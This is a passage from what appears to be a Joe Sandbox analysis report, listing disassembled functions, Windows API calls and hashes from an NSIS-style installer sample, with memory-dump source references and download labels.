Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

N, xrefs: 00404C06
, xrefs: 00404F39
M, xrefs: 00404B43
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.2074315611.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2074294076.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074463229.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074696023.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075927836.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

